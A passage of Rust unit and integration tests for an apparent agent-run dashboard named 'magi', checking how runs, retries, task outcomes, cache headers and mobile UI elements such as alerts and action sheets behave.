20811            body.contains("upgradeFailNote"),
20812            "the failure has to reach the loop's own note instead"
20813        );
20814        // `quiet` and `control` are the only two places `loop-why` is set from
20815        // this function's own state; both must carry the note through, or a
20816        // future edit to either one would silently drop it again.
20817        assert_eq!(
20818            body.matches("upgradeFailNote].filter(Boolean).join")
20819                .count(),
20820            2,
20821            "both loop-why writers (quiet and control) must fold the note in"
20822        );
20823    }
20824
20825    #[test]
20826    fn an_overdue_upgrade_eventually_asks_for_a_human() {
20827        // The ceiling has to clear a full hour-long park with room to spare,
20828        // or an ordinary implement wave would be reported as a stuck upgrade.
20829        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
20830        assert!(APP_JS.contains("function upgradeOverdue("));
20831    }
20832
20833    #[test]
20834    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
20835        assert!(
20836            APP_JS.contains("Updated to ${upgradeInfo.to"),
20837            "the operator who asked for the restart wants to know it worked"
20838        );
20839    }
20840
20841    #[test]
20842    fn an_error_is_visible_from_where_the_button_is() {
20843        // The alert used to sit in the flow under the header. On a phone
20844        // scrolled 13 500 px down to a run's action sheet that is off screen,
20845        // so tapping Resume and being told "the loop is running run b455
20846        // right now" looked exactly like a button that did nothing.
20847        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
20848            ..APP_CSS.find(".alert-text").expect(".alert-text")];
20849        assert!(
20850            alert.contains("position: fixed"),
20851            "an error about the thing under your thumb has to be visible from \
20852             where your thumb is: {alert}"
20853        );
20854        assert!(
20855            alert.contains("z-index: 25"),
20856            "above the dock (20) and the run-actions FAB (15), so neither \
20857             buries it: {alert}"
20858        );
20859        assert!(
20860            alert.contains("var(--tap)"),
20861            "and clear of the dock and the home indicator: {alert}"
20862        );
20863        // The FAB sits at the same height on the right. An error that covered
20864        // it would hide the button the operator reaches for next.
20865        assert!(
20866            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
20867            "the FAB's column stays free: {alert}"
20868        );
20869    }
20870
20871    #[tokio::test]
20872    async fn an_older_attempt_says_what_replaced_it() {
20873        let fx = Fixture::start().await;
20874        let q = fx.queue();
20875        let runs = fx.runs();
20876        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
20877        write_run(&runs, first, RunStatus::Stalled);
20878        write_run(&runs, second, RunStatus::Blocked);
20879
20880        let mut t = Task::new(
20881            "one task".to_owned(),
20882            "do it".to_owned(),
20883            PathBuf::from("/repo"),
20884            Source::Human,
20885        );
20886        t.runs = vec![first.to_owned(), second.to_owned()];
20887        q.put(&mut t).expect("put");
20888
20889        // Two cards with the same title and no hint which is which was the
20890        // question: "why are there two of the same, one stalled and one
20891        // blocked?" The older one now names its replacement.
20892        let rows = fx.get("/api/runs").await.json();
20893        let by = |short: &str| -> Value {
20894            rows.as_array()
20895                .unwrap()
20896                .iter()
20897                .find(|r| r["short"] == short)
20898                .cloned()
20899                .unwrap_or(Value::Null)
20900        };
20901        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
20902        assert!(
20903            by("bbbb")["superseded_by"].is_null(),
20904            "the latest attempt is not superseded by anything"
20905        );
20906        // Front end: the note has to be rendered, not just carried.
20907        assert!(APP_JS.contains("run.superseded_by"));
20908        assert!(APP_JS.contains("Superseded by"));
20909    }
20910
20911    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
20912        let mut t = Task::new(
20913            "one task".to_owned(),
20914            "do it".to_owned(),
20915            PathBuf::from("/repo"),
20916            Source::Human,
20917        );
20918        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
20919        t.status = status;
20920        t
20921    }
20922
20923    #[test]
20924    fn source_link_picks_the_page_that_filed_the_task() {
20925        let agent = |node: &str| Source::Agent {
20926            run: "20260904-014455-ab12".to_owned(),
20927            node: node.to_owned(),
20928        };
20929        let chat = source_link(&agent("chat")).expect("chat link");
20930        assert_eq!(chat.kind, "chat");
20931        assert_eq!(chat.id, "20260904-014455-ab12");
20932        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
20933        let run = source_link(&agent("implement")).expect("run link");
20934        assert_eq!(
20935            (run.kind, run.href.as_str()),
20936            ("run", "#/runs/20260904-014455-ab12")
20937        );
20938        assert_eq!(source_link(&Source::Human), None);
20939        assert_eq!(
20940            source_link(&Source::Issue {
20941                number: 3,
20942                repo: "o/r".to_owned()
20943            }),
20944            None
20945        );
20946        let odd = source_link(&Source::Agent {
20947            run: "a b/c".to_owned(),
20948            node: "chat".to_owned(),
20949        })
20950        .expect("link");
20951        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
20952    }
20953
20954    #[test]
20955    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
20956        assert!(
20957            !APP_JS.contains("src.node === \"chat\""),
20958            "inline href rule is back"
20959        );
20960        assert!(
20961            APP_JS.matches("sourceLinkOf(").count() >= 4,
20962            "helper must serve every page"
20963        );
20964        assert!(
20965            APP_JS.matches("openChatLink(").count() >= 3,
20966            "the run page still needs its explicit chat link"
20967        );
20968        assert!(
20969            !APP_JS.contains("const openChat = el("),
20970            "the Queue card duplicates its source label link again"
20971        );
20972        assert!(
20973            APP_JS.contains("metaKids.push(link ? el(\"a\""),
20974            "the task page must link a chat source label too"
20975        );
20976    }
20977
20978    #[test]
20979    fn task_ref_carries_the_source_link_for_a_chat_task() {
20980        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
20981        t.source = Source::Agent {
20982            run: "20260904-014455-ab12".to_owned(),
20983            node: "chat".to_owned(),
20984        };
20985        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
20986        let v = serde_json::to_value(&out).expect("json");
20987        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
20988        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
20989        assert_eq!(v["source_label"], t.source.label());
20990
20991        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
20992        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
20993            .expect("json");
20994        assert!(v["source_link"].is_null(), "{v}");
20995    }
20996
20997    #[test]
20998    fn task_view_serializes_source_link() {
20999        let mut t = Task::new(
21000            "t".to_owned(),
21001            "t".to_owned(),
21002            PathBuf::from("/repo"),
21003            Source::Agent {
21004                run: "20260901-000000-aaaa".to_owned(),
21005                node: "implement".to_owned(),
21006            },
21007        );
21008        t.runs.clear();
21009        let v = serde_json::to_value(TaskView::from(t)).expect("json");
21010        assert_eq!(v["source_link"]["kind"], "run", "{v}");
21011        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
21012    }
21013
21014    #[test]
21015    fn task_view_serializes_urgent_flag() {
21016        let mut t = Task::new(
21017            "t".to_owned(),
21018            "t".to_owned(),
21019            PathBuf::from("/repo"),
21020            Source::Human,
21021        );
21022        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
21023        assert_eq!(v["urgent"], false, "{v}");
21024        t.urgent = true;
21025        let v = serde_json::to_value(TaskView::from(t)).expect("json");
21026        assert_eq!(v["urgent"], true, "{v}");
21027        assert!(APP_JS.contains("task.urgent === true"));
21028    }
21029
21030    #[tokio::test]
21031    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
21032        let fx = Fixture::start().await;
21033        let runs = fx.runs();
21034        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
21035        write_run(&runs, old, RunStatus::Blocked);
21036        write_run(&runs, new, RunStatus::Merged);
21037        let mut t = outcome_task(&[old, new], TaskStatus::Done);
21038        fx.queue().put(&mut t).expect("put");
21039
21040        let view = fx.get(&format!("/api/runs/{old}")).await.json();
21041        let task = &view["task"];
21042        assert_eq!(task["status"], "done");
21043        assert_eq!(task["is_latest"], false);
21044        assert_eq!(task["latest"]["short"], "bbbb");
21045        assert_eq!(task["finished_by"]["id"], new);
21046        assert_eq!(task["finished_by"]["outcome"], "merged");
21047        assert_eq!(task["closed_by_hand"], false);
21048        assert_eq!(view["status"], "blocked", "the run keeps its own status");
21049        assert!(APP_JS.contains("finished_by"));
21050        assert!(APP_JS.contains("superseded by run"));
21051    }
21052
21053    #[tokio::test]
21054    async fn the_latest_run_reports_a_held_task_without_a_successor() {
21055        let fx = Fixture::start().await;
21056        let runs = fx.runs();
21057        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
21058        write_run(&runs, old, RunStatus::Stalled);
21059        write_run(&runs, new, RunStatus::Blocked);
21060        let mut t = outcome_task(&[old, new], TaskStatus::Held);
21061        fx.queue().put(&mut t).expect("put");
21062
21063        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
21064        assert_eq!(task["status"], "held");
21065        assert_eq!(task["is_latest"], true);
21066        assert!(task["latest"].is_null());
21067        assert!(task["finished_by"].is_null());
21068        assert_eq!(task["closed_by_hand"], false);
21069    }
21070
21071    #[tokio::test]
21072    async fn a_direct_run_has_no_task_outcome() {
21073        let fx = Fixture::start().await;
21074        let runs = fx.runs();
21075        let id = "20260901-000000-aaaa";
21076        write_run(&runs, id, RunStatus::Blocked);
21077        let view = fx.get(&format!("/api/runs/{id}")).await.json();
21078        assert!(view["task"].is_null());
21079    }
21080
21081    #[test]
21082    fn task_outcome_does_not_guess_a_finishing_run() {
21083        let a = "20260901-000000-aaaa";
21084        let b = "20260901-000000-bbbb";
21085        let c = "20260901-000000-cccc";
21086        let dir = tempfile::tempdir().expect("tempdir");
21087        write_run(dir.path(), a, RunStatus::Blocked);
21088        write_run(dir.path(), b, RunStatus::VerifiedNoop);
21089        // `c` has no record: unreadable.
21090        let read = |id: &str| read_run(dir.path(), id).ok();
21091        // Neither a blocked run nor a no-op finished the task; the newest run is
21092        // unreadable and still named.
21093        let t = outcome_task(&[a, b, c], TaskStatus::Done);
21094        let out = task_outcome(&t, a, 3, read);
21095        assert!(out.finished_by.is_none());
21096        assert!(out.closed_by_hand);
21097        let latest = out.latest.expect("latest");
21098        assert_eq!(latest.id, c);
21099        assert_eq!(latest.status, None);
21100        assert_eq!(latest.outcome, "record unreadable");
21101
21102        // A Ready run settles the task as done, so it is named as the finisher.
21103        write_run(dir.path(), c, RunStatus::Ready);
21104        let t = outcome_task(&[a, c], TaskStatus::Done);
21105        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
21106        assert_eq!(out.finished_by.expect("finisher").id, c);
21107        assert!(!out.closed_by_hand);
21108
21109        // A resumed run id repeats: it is still the latest by id.
21110        let t = outcome_task(&[a, b, a], TaskStatus::Held);
21111        assert!(task_outcome(&t, a, 3, read).is_latest);
21112    }
21113
21114    #[tokio::test]
21115    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
21116        // The list route has known this since the card fix above; the detail
21117        // route — what an operator actually opens from a notification about
21118        // a blocked run — did not, and went on showing a bare red BLOCKED
21119        // chip for a run a retry had already finished.
21120        let fx = Fixture::start().await;
21121        let q = fx.queue();
21122        let runs = fx.runs();
21123        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
21124        write_run(&runs, first, RunStatus::Blocked);
21125        write_run(&runs, second, RunStatus::Merged);
21126
21127        let mut t = Task::new(
21128            "one task".to_owned(),
21129            "do it".to_owned(),
21130            PathBuf::from("/repo"),
21131            Source::Human,
21132        );
21133        t.runs = vec![first.to_owned(), second.to_owned()];
21134        q.put(&mut t).expect("put");
21135
21136        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
21137        assert_eq!(earlier["superseded_by"], "dddd");
21138        assert_eq!(earlier["latest_attempt"]["id"], second);
21139        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
21140        assert_eq!(
21141            earlier["latest_attempt"]["resolved"], true,
21142            "the run that replaced it landed, so this one reads as settled"
21143        );
21144
21145        let later = fx.get(&format!("/api/runs/{second}")).await.json();
21146        assert!(
21147            later["superseded_by"].is_null(),
21148            "the latest attempt is not superseded by anything"
21149        );
21150        assert!(
21151            later["latest_attempt"].is_null(),
21152            "the latest attempt has no later attempt of its own"
21153        );
21154
21155        // Front end: the detail page has to read the field this route now
21156        // carries, downgrade the chip, and link to the run that replaced it —
21157        // not just repeat the list card's own logic under a different name.
21158        // The link is built off `latest_attempt.id`, the server-resolved
21159        // full id, never a bare short string a client would have to guess a
21160        // full run from.
21161        assert!(APP_JS.contains("run.latest_attempt"));
21162        assert!(APP_JS.contains("data-superseded"));
21163        assert!(APP_JS.contains("#/runs/${latest.id}"));
21164    }
21165
21166    #[tokio::test]
21167    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
21168        // A -> B -> C, all Blocked except the last. A's immediate successor
21169        // (superseded_by) is B, which is itself unresolved; what an operator
21170        // opening A's page actually needs is where the task's story stands
21171        // *now* - C, not B - without depending on whether C happens to be in
21172        // whatever page of /api/runs the client last cached.
21173        let fx = Fixture::start().await;
21174        let q = fx.queue();
21175        let runs = fx.runs();
21176        let (a, b, c) = (
21177            "20260901-000000-aaaa",
21178            "20260901-000000-bbbb",
21179            "20260901-000000-cccc",
21180        );
21181        write_run(&runs, a, RunStatus::Blocked);
21182        write_run(&runs, b, RunStatus::Blocked);
21183        write_run(&runs, c, RunStatus::Merged);
21184
21185        let mut t = Task::new(
21186            "retried twice".to_owned(),
21187            "do it".to_owned(),
21188            PathBuf::from("/repo"),
21189            Source::Human,
21190        );
21191        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
21192        q.put(&mut t).expect("put");
21193
21194        let view = fx.get(&format!("/api/runs/{a}")).await.json();
21195        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
21196        assert_eq!(
21197            view["latest_attempt"]["id"], c,
21198            "the chain's current head, not the intermediate Blocked retry"
21199        );
21200        assert_eq!(view["latest_attempt"]["resolved"], true);
21201
21202        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
21203        assert_eq!(mid["latest_attempt"]["id"], c);
21204        assert_eq!(mid["latest_attempt"]["resolved"], true);
21205    }
21206
21207    #[tokio::test]
21208    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
21209        let fx = Fixture::start().await;
21210        let q = fx.queue();
21211        let runs = fx.runs();
21212
21213        // Still Blocked: the task is not resolved, so the older run must not
21214        // read as settled either.
21215        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
21216        write_run(&runs, still_blocked_a, RunStatus::Blocked);
21217        write_run(&runs, still_blocked_b, RunStatus::Blocked);
21218        let mut t1 = Task::new(
21219            "still stuck".to_owned(),
21220            "do it".to_owned(),
21221            PathBuf::from("/repo"),
21222            Source::Human,
21223        );
21224        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
21225        q.put(&mut t1).expect("put");
21226        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
21227        assert_eq!(view1["latest_attempt"]["resolved"], false);
21228        assert_eq!(view1["latest_attempt"]["status"], "blocked");
21229        assert_eq!(view1["latest_attempt"]["done"], true);
21230
21231        // Still running: the successor exists and must be reported as such.
21232        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
21233        write_run(&runs, run_a, RunStatus::Blocked);
21234        write_run(&runs, run_b, RunStatus::Implementing);
21235        let mut t3 = Task::new(
21236            "retrying".to_owned(),
21237            "do it".to_owned(),
21238            PathBuf::from("/repo"),
21239            Source::Human,
21240        );
21241        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
21242        q.put(&mut t3).expect("put");
21243        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
21244        assert_eq!(view3["latest_attempt"]["id"], run_b);
21245        assert_eq!(view3["latest_attempt"]["resolved"], false);
21246        assert_eq!(view3["latest_attempt"]["done"], false);
21247
21248        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
21249        // to check - not a confirmed finish, so this must not read as
21250        // resolved either, even though the run is done in the sense that
21251        // nothing is still running.
21252        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
21253        write_run(&runs, noop_a, RunStatus::Blocked);
21254        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
21255        let mut t2 = Task::new(
21256            "claims done".to_owned(),
21257            "do it".to_owned(),
21258            PathBuf::from("/repo"),
21259            Source::Human,
21260        );
21261        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
21262        q.put(&mut t2).expect("put");
21263        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
21264        assert_eq!(
21265            view2["latest_attempt"]["resolved"], false,
21266            "an unverified no-op claim must not read as a confirmed finish"
21267        );
21268
21269        // Front end: an unresolved successor must not carry the "finished
21270        // this work" note or the muted chip treatment.
21271        assert!(APP_JS.contains("latest.resolved"));
21272        // ...but the link to it shows as soon as it exists, labelled by state
21273        // and without the "finished" wording or the muted chip.
21274        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
21275        assert!(APP_JS.contains("Latest attempt: "));
21276        assert!(APP_JS.contains("in flight"));
21277        assert!(APP_JS.contains("not resolved"));
21278    }
21279
21280    #[tokio::test]
21281    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
21282        let fx = Fixture::start().await;
21283        // No cache header at all meant browsers invented their own policy,
21284        // and one did: a phone went on showing "Candidates must be folded
21285        // before deleting. Run `magi fold` first." - deleted two releases
21286        // earlier - from a deck that no longer contained the sentence. The
21287        // button it named was right there, and unreachable.
21288        let js = fx.get("/app.js").await;
21289        assert_eq!(js.status, 200);
21290        let tag = js
21291            .header("etag")
21292            .expect("an etag to revalidate against")
21293            .to_owned();
21294        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
21295        assert_eq!(
21296            js.header("cache-control"),
21297            Some("no-cache, must-revalidate"),
21298            "the phone has to ask every time"
21299        );
21300
21301        // And the asking has to be cheap, or `must-revalidate` just means
21302        // "send the whole interface on every load".
21303        let again = fx
21304            .get_with("/app.js", &[("if-none-match", tag.as_str())])
21305            .await;
21306        assert_eq!(
21307            again.status, 304,
21308            "a deck it already has costs one round trip"
21309        );
21310        assert!(again.body.is_empty(), "304 carries no body");
21311
21312        // A weakened tag from a proxy still matches; a different build does
21313        // not, which is the case that has to deliver the new interface.
21314        let weak = fx
21315            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
21316            .await;
21317        assert_eq!(weak.status, 304);
21318        let stale = fx
21319            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
21320            .await;
21321        assert_eq!(stale.status, 200, "an older build must be replaced");
21322        assert!(stale.body.contains("renderRunActions"));
21323    }
21324
21325    #[test]
21326    fn the_task_detail_has_an_actions_fab_and_sheet() {
21327        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
21328        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
21329        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
21330        // Shown only on the task route, closed everywhere else.
21331        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
21332        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
21333        // Refreshed whenever the detail redraws, including the loading state.
21334        assert!(APP_JS.contains("renderTaskActions(task);"));
21335        assert!(APP_JS.contains("renderTaskActions(null);"));
21336        // Same renderers and routes as the Queue card, no new endpoint.
21337        let sheet = APP_JS
21338            .find("function renderTaskActions")
21339            .expect("sheet renderer");
21340        let body = &APP_JS[sheet..sheet + 3000];
21341        assert!(body.contains("changePriority("));
21342        assert!(body.contains("openTaskEdit(task)"));
21343        assert!(body.contains("renderTaskHoldBox(host"));
21344        assert!(body.contains("renderTaskDoneBox(host"));
21345        assert!(body.contains("renderTaskDeleteBox(host"));
21346        assert!(APP_JS.contains("API.priority(id)"));
21347        assert!(APP_JS.contains("API.deleteTask(id)"));
21348        // A deleted task sends the operator back to the queue.
21349        assert!(APP_JS.contains("location.hash = \"#/queue\""));
21350        // A refusal is shown inside the sheet.
21351        assert!(APP_JS.contains("$(\"task-actions-error\")"));
21352    }
21353
21354    #[test]
21355    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
21356        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
21357        let actions = INDEX_HTML
21358            .find("id=\"run-actions-box\"")
21359            .expect("actions box");
21360        assert!(task < actions, "the task entry comes first in the sheet");
21361        assert!(APP_JS.contains("renderRunTaskEntry"));
21362        assert!(APP_JS.contains("\"Open task \""));
21363        // A run without a task says why there is nothing to open.
21364        assert!(APP_JS.contains("started directly, no task"));
21365        assert!(APP_JS.contains("sheet-task-link"));
21366        assert!(APP_JS.contains("task-chip-link"));
21367    }
21368
21369    #[test]
21370    fn the_deck_never_sends_the_operator_to_a_terminal() {
21371        // The whole point of the phone UI is that a terminal is not needed.
21372        // The delete control used to answer with "Run `magi fold` first."
21373        assert!(
21374            !APP_JS.contains("Run `magi fold` first"),
21375            "the deck must offer the fold, not prescribe a shell command"
21376        );
21377        assert!(APP_JS.contains("foldRun:"));
21378        assert!(APP_JS.contains("resumeRun:"));
21379        assert!(APP_JS.contains("renderRunActions"));
21380
21381        // Folding is destructive and armed in two steps, like deleting.
21382        assert!(APP_JS.contains("armedFold"));
21383        assert!(APP_JS.contains("Yes, fold worktrees"));
21384
21385        // And the copy has to say that the two actions are opposites, because
21386        // folding throws away exactly what a resume would continue from.
21387        assert!(APP_JS.contains("can no longer be resumed"));
21388    }
21389
21390    #[test]
21391    fn a_finished_run_explains_itself_with_its_own_last_line() {
21392        // The deck used to answer "why did this stop?" with a sentence chosen
21393        // by status alone. Run e633 stalled because two judges answered with
21394        // the wrong JSON shape and its card said "The panel collapsed on
21395        // agent quota" - with `quota: []` in the record and a quota-loss
21396        // counter right above it that correctly said nothing.
21397        assert!(
21398            !APP_JS.contains("collapsed on agent quota"),
21399            "a stall must not be explained by a cause the deck did not check"
21400        );
21401        assert!(
21402            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
21403            "and a block must not offer a guess with an `or` in it"
21404        );
21405
21406        // The reason it does have is `run.event`, which must reach finished
21407        // runs: gating it on movement hid the recorded truth at the one moment
21408        // the operator is reading the card to find out what happened.
21409        assert!(
21410            APP_JS.contains("setText(r.event, run.event || \"\")"),
21411            "the run's last line is rendered unconditionally"
21412        );
21413        assert!(
21414            !APP_JS.contains("moving && run.event"),
21415            "and never gated on the run still moving"
21416        );
21417
21418        // Quota keeps its own counter, fed by the number actually recorded.
21419        assert!(APP_JS.contains("lost to quota"));
21420    }
21421
21422    /// The runs tree (section) and the state chips (waiting/done) are two
21423    /// independent lenses ANDed together in `renderRuns`, and some pairings
21424    /// can never both be true for any run - every "Landed"/"Ended" run is
21425    /// done by construction, so pairing either with "Active" or "In flight"
21426    /// always rendered zero cards with the filter bar still claiming
21427    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
21428    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
21429    /// a handful of (waiting, status) shapes standing in for the run
21430    /// lifecycle, because `cargo test` cannot execute the front end.
21431    ///
21432    /// That stand-in list is itself the part that drifted twice in review:
21433    /// once shipped with `waiting: true` paired with a done status the
21434    /// lifecycle cannot produce, then over-corrected into treating every
21435    /// waiting run as never done - which made "Waiting on you" look
21436    /// incompatible with "Done" even for the one real, reachable shape
21437    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
21438    /// that combination. This test parses the shapes and the done-rule back
21439    /// out of `APP_JS`, reimplements `runSection` and the five state
21440    /// predicates independently in Rust, and checks the resulting
21441    /// section/filter compatibility table against the lifecycle rules by
21442    /// hand - so either direction of drift fails it again.
21443    #[test]
21444    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
21445        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
21446        let shapes_body_start =
21447            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
21448        let shapes_close = APP_JS[shapes_body_start..]
21449            .find("].map(")
21450            .expect("the shape list is closed by its done-computing .map(...)")
21451            + shapes_body_start;
21452        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
21453
21454        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
21455        for entry in shapes_src.split('{').skip(1) {
21456            let waiting = entry.contains("waiting: true");
21457            let dead = entry.contains("live: \"dead\"");
21458            let status_at =
21459                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
21460            let status_end = entry[status_at..]
21461                .find('"')
21462                .expect("the status string is closed")
21463                + status_at;
21464            let parked = entry.contains("display_status: \"parked\"");
21465            shapes.push((
21466                waiting,
21467                entry[status_at..status_end].to_string(),
21468                dead,
21469                parked,
21470            ));
21471        }
21472        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
21473
21474        // The done rule itself (`!["implementing"].includes(shape.status)`),
21475        // read out of the source rather than hardcoded, so a renamed
21476        // in-flight status can't silently make every parsed shape "done".
21477        let done_rule_marker = "done: !";
21478        let done_rule_at = APP_JS[shapes_close..]
21479            .find(done_rule_marker)
21480            .expect("the done rule follows the shape list")
21481            + shapes_close
21482            + done_rule_marker.len();
21483        let includes_at = APP_JS[done_rule_at..]
21484            .find(".includes(shape.status)")
21485            .expect("the done rule ends in .includes(shape.status)")
21486            + done_rule_at;
21487        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
21488            .trim()
21489            .trim_start_matches('[')
21490            .trim_end_matches(']')
21491            .split(',')
21492            .map(|s| s.trim().trim_matches('"'))
21493            .filter(|s| !s.is_empty())
21494            .collect();
21495
21496        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
21497            .into_iter()
21498            .map(|(waiting, status, dead, parked)| {
21499                let done = !not_done.contains(&status.as_str());
21500                (waiting, status, dead, parked, done)
21501            })
21502            .collect();
21503
21504        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
21505        // outright, then merged/ready land, stalled/blocked/failed/
21506        // verified_noop end, and everything else is still in flight.
21507        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
21508            if waiting {
21509                return "waiting";
21510            }
21511            if dead
21512                && !parked
21513                && !matches!(
21514                    status,
21515                    "merged"
21516                        | "ready"
21517                        | "stalled"
21518                        | "blocked"
21519                        | "failed"
21520                        | "verified_noop"
21521                        | "superseded"
21522                        | "already_in_base"
21523                )
21524            {
21525                return "stale";
21526            }
21527            match status {
21528                "merged" | "ready" => "landed",
21529                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
21530                | "already_in_base" => "ended",
21531                _ => "flight",
21532            }
21533        }
21534
21535        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
21536        // way.
21537        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
21538            match filter_key {
21539                "active" => !done,
21540                "flight" => !done && !waiting && !dead,
21541                "stale" => !done && !waiting && dead,
21542                "waiting" => waiting,
21543                "done" => done,
21544                "all" => true,
21545                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
21546            }
21547        }
21548
21549        let compatible = |section: &str, filter_key: &str| {
21550            shapes.iter().any(|(waiting, status, dead, parked, done)| {
21551                run_section(*waiting, status, *dead, *parked) == section
21552                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
21553            })
21554        };
21555
21556        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
21557        // (active, flight, stale, waiting, done, all) - hand-derived from the
21558        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
21559        // currently contains.
21560        let expected = [
21561            ("waiting", [true, false, false, true, true, true]),
21562            ("stale", [true, false, true, false, false, true]),
21563            ("flight", [true, true, false, false, false, true]),
21564            ("landed", [false, false, false, false, true, true]),
21565            ("ended", [false, false, false, false, true, true]),
21566        ];
21567        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
21568
21569        for (section, wants) in expected {
21570            for (filter_key, want) in filter_keys.iter().zip(wants) {
21571                assert_eq!(
21572                    compatible(section, filter_key),
21573                    want,
21574                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
21575                );
21576            }
21577        }
21578
21579        // The compatibility check exists only to be acted on: both pickers
21580        // must actually consult it rather than just render its answer.
21581        assert!(
21582            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
21583        );
21584        assert!(APP_JS.contains(
21585            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
21586        ));
21587        assert!(APP_JS.contains(
21588            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
21589        ));
21590    }
21591
21592    #[tokio::test]
21593    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
21594        // An operator-named directory - git checkout or not - is never
21595        // second-guessed, even when it does not exist at all: only the
21596        // flag's own unmodified `.` default is ever eligible for discovery.
21597        let dir = tempfile::tempdir().expect("tempdir");
21598        let explicit = dir.path().join("not-a-checkout");
21599        std::fs::create_dir_all(&explicit).expect("create dir");
21600        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
21601
21602        let missing = dir.path().join("does-not-exist-at-all");
21603        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
21604    }
21605
21606    #[test]
21607    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
21608        assert!(APP_JS.contains("function statsDonutArcs"));
21609        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
21610        // A bucket click filters by the statuses src/stats.rs counts in it.
21611        assert!(APP_JS.contains("function statusInBucket"));
21612        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
21613        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
21614        let buckets = [
21615            "merged",
21616            "ready",
21617            "in_progress",
21618            "blocked",
21619            "failed",
21620            "verified_noop",
21621            "superseded",
21622            "stalled",
21623        ];
21624        for key in buckets {
21625            let var = format!("--verdict-{key}:");
